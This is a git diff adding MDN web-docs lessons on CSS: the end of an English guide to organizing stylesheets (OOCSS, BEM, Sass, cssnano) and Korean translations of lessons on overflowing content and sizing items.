+  list-style: none;
+  margin: 0;
+  padding: 0;
+}
+
+...
+
+</pre>
+
+<p>Then we can add everything that is used sitewide. That might be things like the basic page layout, the header, navigation styling, and so on.</p>
+
+<pre class="brush: css">/* || SITEWIDE */
+
+.main-nav { ... }
+
+.logo { ... }
+</pre>
+
+<p>Finally we will include CSS for specific things, broken down by the context, page or even component in which they are used.</p>
+
+<pre class="brush: css">/* || STORE PAGES */
+
+.product-listing { ... }
+
+.product-box { ... }
+</pre>
+
+<p>By ordering things in this way, we at least have an idea in which part of the stylesheet we will be looking for something that we want to change.</p>
+
+<h3 id="Avoid_overly-specific_selectors">Avoid overly-specific selectors</h3>
+
+<p>If you create very specific selectors you will often find that you need to duplicate chunks of your CSS to apply the same rules to another element. For example, you might have something like the below selector, which applies the rule to a <code>&lt;p&gt;</code> with a class of <code>box</code> inside an <code>&lt;article&gt;</code> with a class of <code>main</code>.</p>
+
+<pre class="brush: css">article.main p.box {
+  border: 1px solid #ccc;
+}</pre>
+
+<p>If you then wanted to apply the same rules to something outside of <code>main</code>, or to something other than a <code>&lt;p&gt;</code>, you would have to add another selector to these rules or create a whole new ruleset. Instead, you could create a class called <code>box</code> and apply that anywhere.</p>
+
+<pre class="brush: css">.box {
+  border: 1px solid #ccc;
+}</pre>
+
+<p>There will be times when making something more specific makes sense, however this will generally be an exception rather than usual practice.</p>
+
+<h3 id="Break_large_stylesheets_into_multiple_smaller_ones">Break large stylesheets into multiple smaller ones</h3>
+
+<p>In particular in cases where you have very different styles for distinct parts of the site, you might want to have a stylesheet that includes all the global rules and then smaller ones that include the specific rules needed for those sections. You can link to multiple stylesheets from one page, and the normal rules of the cascade apply, with rules in stylesheets linked later coming after rules in stylesheets linked earlier.</p>
+
+<p>For example, we might have an online store as part of the site, with a lot of CSS used only for styling the product listings and forms needed for the store. It would make sense to have those things in a different stylesheet, only linked to on store pages.</p>
+
+<p>This can make it easier to keep your CSS organised, and also means that if multiple people are working on the CSS you will have fewer situations where two people need to work on the same stylesheet at once, leading to conflicts in source control.</p>
+
+<h2 id="Other_tools_that_can_help">Other tools that can help</h2>
+
+<p>CSS itself doesn't have much in the way of in-built organisation, therefore you need to do the work to create consistency and rules around how you write CSS. The web community has also developed various tools and approaches that can help you to manage larger CSS projects. As they may be helpful for you to investigate, and you are likely to come across these things when working with other people, we've included a short guide to some of these.</p>
+
+<h3 id="CSS_methodologies">CSS methodologies</h3>
+
+<p>Instead of needing to come up with your own rules for writing CSS, you may benefit from adopting one of the approaches already designed by the community and tested across many projects. These methodologies are essentially CSS coding guides that take a very structured approach to writing and organising CSS. Typically they tend to result in more verbose use of CSS than you might have if you wrote and optimised every selector to a custom set of rules for that project.</p>
+
+<p>However, you do gain a lot of structure by adopting one and, as many of these systems are very widely used, other developers are more likely to understand the approach you are using and be able to write their CSS in the same way, rather than having to work out your own personal methodology from scratch.</p>
+
+<h4 id="OOCSS">OOCSS</h4>
+
+<p>Most of the approaches that you will encounter owe something to the concept of Object Oriented CSS (OOCSS), an approach made popular by <a href="https://github.com/stubbornella/oocss/wiki">the work of Nicole Sullivan</a>. The basic idea of OOCSS is to separate your CSS into reusable objects, which can be used anywhere you need on your site. The standard example of OOCSS is the pattern described as <a href="/en-US/docs/Web/CSS/Layout_cookbook/Media_objects">The Media Object</a>. This is a pattern with a fixed size image, video or other element on one side, and flexible content on the other. It's a pattern we see all over websites for comments, listings, and so on.</p>
+
+<p>If you are not taking an OOCSS approach you might create custom CSS for the different places this pattern is used, for example creating a class called <code>comment</code> with a bunch of rules for the component parts, then a class called <code>list-item</code> with almost the same rules as the <code>comment</code> class except for some tiny differences. The differences between these two components is that the list-item has a bottom border, and images in comments have a border whereas list-item images do not.</p>
+
+<pre class="brush: css">.comment {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+}
+
+.comment img {
+  border: 1px solid grey;
+}
+
+.comment .content {
+  font-size: .8rem;
+}
+
+.list-item {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+  border-bottom: 1px solid grey;
+}
+
+.list-item .content {
+  font-size: .8rem;
+}</pre>
+
+<p>In OOCSS, you would create one pattern called <code>media</code> that would have all of the common CSS for both patterns — a base class for things that are generally the shape of the media object. Then we'd add an additional class to deal with those tiny differences, thus extending that styling in specific ways.</p>
+
+<pre class="brush: css">.media {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+}
+
+.media .content {
+  font-size: .8rem;
+}
+
+.comment img {
+  border: 1px solid grey;
+}
+
+ .list-item {
+  border-bottom: 1px solid grey;
+} </pre>
+
+<p>In your HTML the comment would need both the <code>media</code> and <code>comment</code> classes applied:</p>
+
+<pre class="brush: html">&lt;div class="media comment"&gt;
+  &lt;img /&gt;
+  &lt;div class="content"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>The list-item would have <code>media</code> and <code>list-item</code> applied:</p>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li class="media list-item"&gt;
+    &lt;img /&gt;
+   &lt;div class="content"&gt;&lt;/div&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>The work that Nicole Sullivan did in describing this approach and promoting it means that even people who are not strictly following an OOCSS approach today will generally be reusing CSS in this way — it has entered our understanding as a good way to approach things in general.</p>
+
+<h4 id="BEM">BEM</h4>
+
+<p>BEM stands for Block Element Modifier. In BEM a block is a standalone entity such as a button, menu, or logo. An element is something like a list item or a title that is tied to the block it is in. A modifier is a flag on a block or element that changes the styling or behavior. You will be able to recognise code that uses BEM due to the extensive use of dashes and underscores in the CSS classes. For example, look at the classes applied to this HTML from the page about <a href="http://getbem.com/naming/">BEM Naming conventions</a>:</p>
+
+<pre class="brush: html">&lt;form class="form form--theme-xmas form--simple"&gt;
+  &lt;input class="form__input" type="text" /&gt;
+  &lt;input
+    class="form__submit form__submit--disabled"
+    type="submit" /&gt;
+&lt;/form&gt;</pre>
+
+<p>The additional classes are similar to those used in the OOCSS example, however they use the strict naming conventions of BEM.</p>
+
+<p>BEM is widely used in larger web projects and many people write their CSS in this way. It is likely that you will come across examples, even in tutorials, that use BEM syntax, without mentioning why the CSS is structured in such a way.</p>
+
+<p>To read more about the system read <a href="https://css-tricks.com/bem-101/">BEM 101</a> on CSS Tricks.</p>
+
+<h4 id="Other_common_systems">Other common systems</h4>
+
+<p>There are a large number of these systems in use. Other popular approaches include <a href="http://smacss.com/">Scalable and Modular Architecture for CSS (SMACSS)</a>, created by Jonathan Snook, <a href="https://itcss.io/">ITCSS</a> from Harry Roberts, and <a href="https://acss.io/">Atomic CSS (ACSS)</a>, originally created by Yahoo!. If you come across a project that uses one of these approaches then the advantage is that you will be able to search and find many articles and guides to help you understand how to code in the same style.</p>
+
+<p>The disadvantage of using such a system is that they can seem overly complex, especially for smaller projects.</p>
+
+<h3 id="Build_systems_for_CSS">Build systems for CSS</h3>
+
+<p>Another way to organise CSS is to take advantage of some of the tooling that is available for front-end developers, which allows you to take a slightly more programmatic approach to writing CSS. There are a number of tools which we refer to as <em>pre-processors</em> and <em>post-processors</em>. A pre-processor runs over your raw files and turns them into a stylesheet, whereas a post-processor takes your finished stylesheet and does something to it — perhaps to optimize it in order that it will load faster.</p>
+
+<p>Using any of these tools will require that your development environment can run the scripts that do the pre and post-processing. Many code editors can do this for you, or you can install command line tools to help.</p>
+
+<p>The most popular pre-processor is <a href="https://sass-lang.com/">Sass</a>. This is not a Sass tutorial, so I will briefly explain a couple of the things that Sass can do, which are really helpful in terms of organisation, even if you don't use any of the other Sass features.</p>
+
+<h4 id="Defining_variables">Defining variables</h4>
+
+<p>CSS now has native <a href="/en-US/docs/Web/CSS/Using_CSS_custom_properties">custom properties</a>, making this feature increasingly less important, however one of the reasons you might use Sass is to be able to define all of the colors and fonts used in a project as settings, then use that variable around the project. This means that if you realise you have used the wrong shade of blue, you only need change it in one place.</p>
+
+<p>If we created a variable called <code>$base-color</code> as in the first line below, we could then use it through the stylesheet anywhere that required that color.</p>
+
+<pre class="brush: css"><code>$base-color: #c6538c;
+
+.alert {
+  border: 1px solid $base-color;
+}</code></pre>
+
+<p>Once compiled to CSS, you would end up with the following CSS in the final stylesheet.</p>
+
+<pre class="brush: css"><code>.alert {
+  border: 1px solid #c6538c;
+}</code></pre>
+
+<h4 id="Compiling_component_stylesheets">Compiling component stylesheets</h4>
+
+<p>I mentioned above that one way to organise CSS is to break down stylesheets into smaller stylesheets. When using Sass you can take this to another level and have lots of very small stylesheets — even going as far as having a separate stylesheet for each component. By using the include functionality in Sass these can then all be compiled together into one, or a small number of stylesheets to actually link into your website.</p>
+
+<p>You can see how one developer approaches the problem in <a href="https://www.lauraleeflores.com/blog/how-to-organize-your-css-files">this blog post</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: A simple way to try out Sass is to use <a href="https://codepen.io">CodePen</a> — you can enable Sass for your CSS in the Settings for a Pen, and CodePen will then run the Sass parser for you, in order that you can see the resulting webpage with regular CSS applied. Sometimes you will find that CSS tutorials have used Sass rather than plain CSS in their CodePen demos, so it is handy to know a little bit about it.</p>
+</div>
+
+<h4 id="Post-processing_for_optimization">Post-processing for optimization</h4>
+
+<p>If you are concerned about adding size to your stylesheets by adding a lot of additional comments and whitespace for example, then a post-processing step could be to optimize the CSS by stripping out anything unneccessary in the production version. An example of a post-processor solution for doing this would be <a href="https://cssnano.co/">cssnano</a>.</p>
+
+<h2 id="Wrapping_up">Wrapping up</h2>
+
+<p>This is the final part of our Learning CSS Guide, and as you can see there are many ways in which your exploration of CSS can continue from this point.</p>
+
+<p>To learn more about layout in CSS, see the <a href="/en-US/docs/Learn/CSS/CSS_layout">Learn CSS Layout</a> section.</p>
+
+<p>You should also now have the skills to explore the rest of the <a href="/en-US/docs/Web/CSS">MDN CSS</a> material. You can look up properties and values, explore our <a href="/en-US/docs/Web/CSS/Layout_cookbook">CSS Cookbook</a> for patterns to use, and read more in some of the specific guides such as our <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">Guide to CSS Grid Layout</a>.</p>
+
+<p>{{PreviousMenu("Learn/CSS/Building_blocks/Debugging_CSS", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade and inheritance</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS selectors</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class, and ID selectors</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Attribute selectors</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes and pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinators</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">The box model</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Backgrounds and borders</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Handling different text directions</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">Overflowing content</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">Values and units</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Sizing items in CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, media, and form elements</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">Styling tables</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">Organizing your CSS</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/overflowing_content/index.html b/files/ko/learn/css/building_blocks/overflowing_content/index.html
new file mode 100644
index 0000000000..2cb71a8e6a
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/overflowing_content/index.html
@@ -0,0 +1,119 @@
+---
+title: 콘텐츠 overflow
+slug: Learn/CSS/Building_blocks/Overflowing_content
+translation_of: Learn/CSS/Building_blocks/Overflowing_content
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</div>
+
+<p>이번 수업에서는 CSS 의 또 다른 중요한 개념인 — <strong>overflow</strong> 를 살펴봅니다. Overflow 는 박스 안에 편안하게 담기에는 너무 많은 내용이 있을 때 발생합니다. 이 안내서에서는 내용과 관리 방법에 대해 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식,  HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 , CSS 작동 방식 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 학습)</td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>overflow 및 이를 관리하는 방법 이해하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="overflow_란_무엇인가">overflow 란 무엇인가?</h2>
+
+<p>우리는 이미 CSS 의 모든 것이 박스라는 것을 알고 있으며, {{cssxref("width")}} 및 {{cssxref("height")}} (또는 {{cssxref("inline-size")}} 및 {{cssxref("block-size")}}) 의 값을 제공하여 박스의 크기를 제한할 수 있음을 알고 있습니다. Overflow 는 박스에 내용이 너무 많을 때 발생하므로, 박스 안에 들어가지 않습니다. CSS 는 이 overflow 를 관리할 수 있는 다양한 도구를 제공하며, 이 초기 단계에서 이해하는 데 유용한 개념이기도 합니다. CSS 를 작성할 때, 특히 CSS 레이아웃에 더 깊이 들어가면 overflow 상황이 자주 발생합니다.</p>
+
+<h2 id="CSS_는_데이터_손실_을_피하려고_합니다">CSS 는 "데이터 손실" 을 피하려고 합니다</h2>
+
+<p>overflow 가 발생했을 때, CSS 가 기본적으로 어떻게 동작하는지 보여주는 두 가지 예를 살펴보도록 하겠습니다.</p>
+
+<p>찻 번째는 <code>height</code> 를 지정하여 블록 크기가 제한된 박스입니다. 그런 다음 이 박스에 필요한 공간보다 많은 콘텐츠를 추가했습니다. 내용물이 박스에 넘쳐서 박스 아래의 단락 위에 다소 혼란스럽게 놓여 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/block-overflow.html", '100%', 600)}}</p>
+
+<p>두 번째는 인라인 크기로 제한된 박스의 단어입니다. 박스가 해당 단어에 맞지 않도록 너무 작게 만들어져 박스 밖으로 나옵니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/inline-overflow.html", '100%', 500)}}</p>
+
+<p>왜 CSS 가 기본적으로 내용이 혼란스러워지는 어수선한 접근 방식을 취했는지 궁금할 것입니다. 추가 콘텐츠를 숨기거나 박스가 커지는 이유는 무엇입니까?</p>
+
+<p>가능하면 CSS 는 내용을 숨기지 않습니다; 그렇게 하면 데이터가 손실될 수 있으며, 이는 일반적으로 문제입니다. CSS 용어로, 이는 일부 콘텐츠가 사라짐을 의미합니다. 콘텐츠 손실의 문제점은 손실 되었음을 알 수 없다는 것입니다. 방문자가 사라진 것을 눈치채지 못할 수도 있습니다. 그것이 사라지는 양식의 제출 버튼이고 아무도 양식을 완성할 수 없다면 큰 문제입니다! 따라서 CSS 는 눈에 띄게 overflow 되는 경향이 있습니다. 혼란스러워 보이거나, 최악의 경우 사이트 방문자가 일부 콘텐츠가 겹치므로 수정해야함을 알려줍니다.</p>
+
+<p><code>width</code> 또는<code>height</code> 가 있는 박스를 제한한 경우, CSS 는 사용자가 수행중인 작업을 알고 있으며, overflow 가능성을 관리한다고 가정합니다. 일반적으로 사이트를 디자인할 때 예상보다 많은 텍스트가 있거나 텍스트가 더 클 수 있으므로 — 예를 들어 사용자가 글꼴 크기를 늘린 경우 박스에 텍스트를 넣을 때 블록 크기를 제한하는 것은 문제가 됩니다.</p>
+
+<p>다음 수업에서는 overflow 가 덜 발생하는 크기를 제어하는 다양한 방법을 살펴보겠습니다. 그러나 고정 크기가 필요한 경우, overflow 동작을 제어할 수도 있습니다. 계속 읽어 봅시다!</p>
+
+<h2 id="overflow_속성">overflow 속성</h2>
+
+<p>{{cssxref("overflow")}} 속성은 요소의 overflow 를 제어하고 브라우저가 원하는 방식으로 동작하도록 하는 방법입니다. overflow 의 기본값은 <code>visible</code> 이므로, overflows 가 발생하면 기본적으로 콘텐츠를 볼 수 있습니다.</p>
+
+<p>콘텐츠가 넘칠 때 내용을 자르려면 박스에 <code>overflow: hidden</code> 을 설정할 수 있습니다. 이렇게 하면 — overflow 를 숨길 수 있습니다. 이로 인해 모든 것이 사라질 수 있으므로 콘텐츠를 숨기는 것이 문제를 일으키지 않을 경우에만 해야합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/hidden.html", '100%', 600)}}</p>
+
+<p>아마도 내용이 넘칠 때 스크롤 막대를 추가하고 싶습니까? <code>overflow: scroll</code> 를 사용하면 브라우저에 항상 스크롤 막대가 표시됩니다 — 콘텐츠가 부족하여 overflow 할 수 없는 경우에도 마찬가지입니다. 내용에 따라 스크롤 막대가 나타나거나 사라지는 것을 방지하기 때문에 원하는 경우가 있습니다.</p>
+
+<p><strong>아래 박스에서 일부 내용을 제거하면 스크롤 할 내용이 없어도 스크롤 막대가 여전히 남아 있습니다 (또는 스크롤 막대만).</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll.html", '100%', 600)}}</p>
+
+<p>위의 예제에서는 <code>y</code> 축만 스크롤하면 되지만, 두 축에는 스크롤바가 나타납니다. 대신 {{cssxref("overflow-y")}} 속성을 사용하여, <code>overflow-y: scroll</code> 로 설정하면 <code>y</code> 축에서만 스크롤하도록 할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-y.html", '100%', 600)}}</p>
+
+<p>{{cssxref("overflow-x")}} 를 사용하여 x 축을 스크롤할 수도 있지만, 긴 단어를 처리하는 데 권장되는 방법은 아닙니다! 작은 박스에서 긴 단어를 처리해야 하는 경우 {{cssxref("word-break")}} 또는  {{cssxref("overflow-wrap")}} 속성을 볼 수 있습니다. 또한 <a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 항목 크기 조정</a> 에서 설명하는 일부 방법을 사용하면 다양한 양의 콘텐츠에 더 잘 맞는 박스를 만들 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/scroll-x.html", '100%', 500)}}</p>
+
+<p><code>scroll</code> 과 마찬가지로 스크롤 막대를 유발할 내용이 충분한 지 여부에 따라 스크롤 크기에 스크롤 막대가 나타납니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>overflow</code> 속성을 사용하여 두 개의 값을 전달하여 x 와 y 스크롤을 지정할 수 있습니다. 두 개의 키워드가 지정되면, 첫 번째 키워드는 <code>overflow-x</code> 에 적용되고 두 번째 키워드는 <code>overflow-y</code> 에 적용됩니다. 그렇지 않으면 <code>overflow-x</code> 및 <code>overflow-y</code> 가 모두 같은 값으로 설정됩니다. 예를 들어, <code>overflow: scroll hidden</code> 은 <code>overflow-x</code> 를 <code>scroll</code> 로, <code>overflow-y</code> 를 <code>hidden</code> 으로 설정합니다.</p>
+</div>
+
+<p>박스에 넣을 수 있는 것보다 많은 내용이 있는 경우 스크롤 막대만 표시하려면, <code>overflow: auto</code> 를 사용하십시오. 이 경우 스크롤 막대를 표시할 지 여부를 결정하는 것은 브라우저에게 맡겨져 있습니다. 데스크톱 브라우저는 일반적으로 overflow 를 유발할 수 있는 충분한 콘텐츠가 있는 경우에만 그렇게 합니다.</p>
+
+<p><strong>아래 예에서 박스에 들어갈 때까지 일부 내용을 제거하면, 스크롤 막대가 사라지는것을 볼 수 있습니다.</strong></p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/overflow/auto.html", '100%', 600)}}</p>
+
+<h2 id="Overflow_는_블록_서식_Context_를_설정합니다">Overflow 는 블록 서식 Context 를 설정합니다</h2>
+
+<p>CSS 에는 <strong>Block Formatting Context</strong> (BFC) 의 개념이 있습니다. 이것은 지금 너무 걱정할 필요는 없지만, <code>scroll</code> 또는 <code>auto</code>  와 같은 overflow 값을 사용할 때 BFC 를 생성한다는 것을 아는 것이 유용합니다. 결과적으로 <code>overflow</code> 값을 변경한 박스의 내용이 자체의 미니 레이아웃이 됩니다. container 외부의 물건은 container 에 찌를 수 없으며, 박스에서 주변 레이아웃으로 찌를 수는 없습니다. 이느 일관된 스크롤 환경을 만들기 위해, 박스의 모든 내용을 포함해야 하고 페이지의 다른 항목과 겹치지 않아야 하므로 스크롤 동작을 활성화하기 위한 것입니다.</p>
+
+<h2 id="웹_디자인에서_원치_않는_overflow">웹 디자인에서 원치 않는 overflow</h2>
+
+<p>최신 레이아웃 방법 (<a href="/en-US/docs/Learn/CSS/CSS_layout">CSS 레이아웃</a> 강의에 설명되어 있음) 은 overflow 를 매우 잘 관리합니다. 우리가 웹에 얼마나 많은 콘텐츠를 가지고 있는지 예측할 수 없다는 사실에 대처하도록 설계되었습니다. 그러나 과거에는 개발자들이 종종 고정된 높이를 사용하여 서로 관계가 없는 박스의 하단을 정렬하려고 했습니다. 이것은 깨지기 쉬웠으며, legacy 응용 프로그램에서 때때로 내용이 페이지의 다른 내용과 겹치는 박스가 나타날 수 있습니다. 이러한 현상이 나타나면 overflow 가 발생한다는 것을 알수 있습니다. 박스 크기 고정에 의존하지 않도록 레이아웃을 리팩터링 하는것이 이상적입니다.</p>
+
+<p>사이트를 개발할 때는 항상 overflow 문제를 염두에 두어야 합니다. 많은 양의 콘텐츠로 디자인을 테스트하고 텍스트의 글꼴 크기를 늘리면 CSS 가 강력한 방식으로 대처할 수 있는지 확인해야 합니다. 내용을 숨기거나 스크롤 막대를 추가하기 위해 overflow 값을 변경하는 것은 스크롤 박스를 원할 때와 같은 몇 가지 특별한 경우에만 예약할 수 있습니다.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>이 짧은 수업은 overflow 개념을 소개했습니다; 이제 CSS 가 넘쳐나는 내용을 보이지 않게 만들려고 하지만 데이터가 손실될 수 있음을 이해합니다. overflow 가능성을 관리할 수 있으며 실수로 overflow 문제가 발생하지 않도록 작업을 테스트해야 합니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks")}}</p>
+
+<h2 id="이번_강의에서는">이번 강의에서는</h2>
+
+<ol>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">계단식 및 상속</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors">CSS 선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Type, class 및 ID 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">속성 선택자</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes 및 pseudo-elements</a></li>
+   <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators">결합자</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">박스 모델</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">배경 및 테두리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">다른 텍스트 방향 처리</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">콘텐츠 overflow</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Values_and_units">값 과 단위</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS 에서 항목 크기 조정</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Images_media_form_elements">이미지, 미디어 및 양식 요소</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Styling_tables">표 스타일링</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS 디버깅</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Building_blocks/Organizing">CSS 정리</a></li>
+</ol>
diff --git a/files/ko/learn/css/building_blocks/sizing_items_in_css/index.html b/files/ko/learn/css/building_blocks/sizing_items_in_css/index.html
new file mode 100644
index 0000000000..321d65d726
--- /dev/null
+++ b/files/ko/learn/css/building_blocks/sizing_items_in_css/index.html
@@ -0,0 +1,131 @@
+---
+title: CSS 에서 항목 크기 조정
+slug: Learn/CSS/Building_blocks/Sizing_items_in_CSS
+translation_of: Learn/CSS/Building_blocks/Sizing_items_in_CSS
+---
+<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Values_and_units", "Learn/CSS/Building_blocks/Images_media_form_elements", "Learn/CSS/Building_blocks")}}</div>
+
+<p>지금까지 다양한 수업에서는 CSS 를 사용하여 웹 페이지의 항목 크기를 조정하는 여러가지 방법을 살펴 보았습니다. 디자인의 다양한 기능이 얼마나 큰지 이해하는 것이 중요하며, 이 수업에서는 CSS 를 통해 요소의 크기를 결정하는 다양한 방법을 요약하고 크기 조정과 관련하여 향후 도움이 될 몇 가지 용어를 정의합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">전제조건:</th>
+   <td>
+    <p>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일 작업</a> 에 대한 기본 지식,  HTML 기본 사항 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">HTML 소개</a> 학습) 및 , CSS 작동 방식 이해 (<a href="/en-US/docs/Learn/CSS/First_steps">CSS 첫 번째 단계</a> 학습)</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">목적:</th>
+   <td>CSS 로 크기를 조정할 수 있는 다양한 방법 이해하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="사물의_자연적_또는_본질적인_크기">사물의 자연적 또는 본질적인 크기</h2>
+
+<p>HTML 요소는 CSS 의 영향을 받기 전에 설정한 자연스러운 크기입니다. 간단한 예는 이미지입니다. 이미지는 페이지에 포함된 이미지 파일에 정의된 너비와 높이를 갖습니다. 이 크기는 이미지 자체에서 나오는 — <strong>고유 크기 (intrinsic size)</strong> 로 설명됩니다.</p>
+
+<p>페이지에 이미지를 배치하고 <code>&lt;img&gt;</code> 태그 또는 CSS 의 속성을 사용하여 높이와 너비를 변경하지 않으면, 고유 크기를 사용하여 이미지가 표시됩니다. 파일의 범위를 볼 수 있도록 아래 예제의 이미지에 테두리를 지정했습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-image.html", '100%', 600)}}</p>
+
+<p>그러나 빈 {{htmlelement("div")}} 에는, 자체 크기가 없습니다. 내용이 없는 HTML 에 {{htmlelement("div")}} 를 추가한 다음 이미지와 마찬가지로 테두리를 지정하면, 페이지에 한 라인이 표시됩니다. 이것은 요소의 접힌 (collapsed) 테두리입니다 — 열려야 할 내용이 없습니다. 아래 예제에서, 이 테두리는 container 의 너비까지 확장됩니다. 이는 블록 레벨 요소이기 때문에 친숙해지기 시작해야 합니다. 내용이 없기 때문에 높이 (또는 블록의 크기) 가 없습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/intrinsic-text.html", '100%', 500)}}</p>
+
+<p>위의 예에서, 빈 요소 안에 텍스트를 추가하십시오. 요소의 높이가 내용에 의해 정의되므로 테두리에 해당 텍스트가 포함됩니다. 따라서 블록 차원에서 이 <code>&lt;div&gt;</code> 의 크기는 내용의 크기에서 비롯됩니다. 다시 말하지만, 이것은 요소의 고유 크기입니다 — 크기는 내용에 의해 정의됩니다.</p>
+
+<h2 id="특정_크기_설정">특정 크기 설정</h2>
+
+<p>물론 디자인의 요소에 특정 크기를 줄 수 있습니다. 요소에 크기가 주어지면 (그리고 그 내용이 그 크기에 맞아야 함) 우리는 이것을 <strong>외적인 크기 (extrinsic size)</strong> 로 지칭합니다. 위의 예에서 <code>&lt;div&gt;</code> 를 가져와서 — 구체적인 {{cssxref("width")}} 및 {{cssxref("height")}} 값을 지정할 수 있으며, 이제 어떤 내용이 들어가든 해당 크기를 갖습니다. <a href="/en-US/docs/Learn/CSS/Building_blocks/Overflowing_content">overflow 에 대한 이전 수업</a> 에서 발견한 것처럼 요소에 맞는 공간보다 많은 콘텐츠가 있으면 설정된 높이로 인해 콘텐츠가 overflow 될 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/learn/sizing/height.html", '100%', 600)}}</p>
+
